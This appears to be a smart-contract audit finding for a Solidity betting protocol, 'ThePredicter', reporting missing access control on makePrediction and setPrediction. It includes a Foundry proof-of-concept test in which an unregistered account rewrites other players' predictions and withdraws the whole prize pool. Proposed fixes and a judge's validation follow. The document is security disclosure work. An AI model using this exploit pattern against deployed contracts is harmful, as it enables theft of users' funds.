Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

making predictions and modification of other Players' Predictions by unregistered, unauthorized and unapproved accounts

Summary

Any random account can call makePrdiction function and withdraw rewards( if she wins). This random account can also call the setPrediction function by supplying the address of a player ,matchNumber and result thereby changing the player's prediction choice all in the bid to manipulate the protocol and make herself the only winner. The malicious caller can do this repeatedly for all 9 matches.

Vulnerability Details

There's no check or verification for who is calling the setPrediction and makePrediction functions. This leads to players ' predictions being modified and by extension their scores. consequently, they(players) may never get any reward or even refund if their scores are in the -ve or zero(0) and the malicious caller is a winner player at the end of the tornament claiming all rewards.

PoC

All the unregistered account needs do is to make sure she calls makePrediction then she calls setPrediction for all predicters reseting ALL their predictions to Pending except for ONE player whom she would use as "scape goat". This one predicter remaining, she resets his predictions to the same predictions that she(the attacker) made. if her predictions are correct and yield a +ve score, she now has a denominator that will enable her withdraw all the reward pool

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ThePredicterTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("Ivan");
// address public malicious = makeAddr("malicious");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,//0.04 ether
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function setUpPlayersRegistrationAndApproval() private{
for (uint256 i = 0; i < 30; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 1 ether);
thePredicter.register{value: 4e16}();
vm.stopPrank();
// approve players
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
}
function test_AnyAccountCanMakePredictionsAndWin() public{
setUpPlayersRegistrationAndApproval();
uint256 vaultBalBefore = address(thePredicter).balance;
address unregistered_account = makeAddr("unregistered");
vm.startPrank(unregistered_account);
vm.deal(unregistered_account, 1 ether);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
vm.deal(unregistered_account, 0 ether); //reset the balance back to zero to verify the attack
vm.stopPrank();
uint256 playerBalBefore = unregistered_account.balance;
// ========8 players predicted 9 matches each ============
for(uint i = 0; i < 8; ++i){
address player = thePredicter.players(i);
vm.startPrank(player);
vm.deal(player, 1 ether);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(4, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(5, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(6, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(7, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(8, ScoreBoard.Result.Draw);
vm.stopPrank();
// let's reset player balance to zero to understand the result test
vm.deal(player, 0);
}
//==========the unregistered account modify ALL predictions of all players except for one player==============
for(uint i = 0; i < 7; ++i){
address player = thePredicter.players(i);
vm.startPrank(unregistered_account);
scoreBoard.setPrediction(player, 0, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(player, 1, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(player, 2, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(player, 3, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(player, 4, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(player, 5, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(player, 6, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(player, 7, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(player, 8, ScoreBoard.Result.Pending);
vm.stopPrank();
}
//==========the unregistered account modify that one player's predictions to exactly the same predictions she made==============
address scape_goat = thePredicter.players(7);
vm.startPrank(unregistered_account);
scoreBoard.setPrediction(scape_goat, 0, ScoreBoard.Result.First);
scoreBoard.setPrediction(scape_goat, 1, ScoreBoard.Result.First);
scoreBoard.setPrediction(scape_goat, 2, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(scape_goat, 3, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(scape_goat, 4, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(scape_goat, 5, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(scape_goat, 6, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(scape_goat, 7, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(scape_goat, 8, ScoreBoard.Result.Pending);
vm.stopPrank();
// organizer records match result
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.Draw);
scoreBoard.setResult(3, ScoreBoard.Result.Second);
scoreBoard.setResult(4, ScoreBoard.Result.Draw);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.Draw);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
//unregistered account claim all reward pool i.e.all the entrance fee
vm.prank(unregistered_account);
thePredicter.withdraw();
uint256 vaultBalAfter = address(thePredicter).balance;
uint256 playerBalAfter = unregistered_account.balance;
assertEq(vaultBalBefore, 1.2 ether);
assertEq(vaultBalAfter, 0.0074 ether);
assertEq(playerBalBefore, 0 ether);
assertEq(playerBalAfter, 1.2 ether);
}
}

Impact

  • Loss of funds for the Protocol and the players

  • Low revenue generation for the protocol

  • DoS attack on the protocol leading to players not being able to make any winnable prediction on the matches

Tools Used

  • Foundry test

  • manual review

Recommendations

  • in makePrediction function first thing is to verify that playersStatus[player] == Status.Approved.

  • in the setPredict function first thing is to verify if msg.sender == player || msg.sender == thePredicter .

function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
+ if(playersStatus[player] != Status.Approved){
+ revert ThePredicter__UnauthorizedAccess();
+ }
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
+ require(msg.sender == player || msg.sender == thePredicter, "unauthorized caller");
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.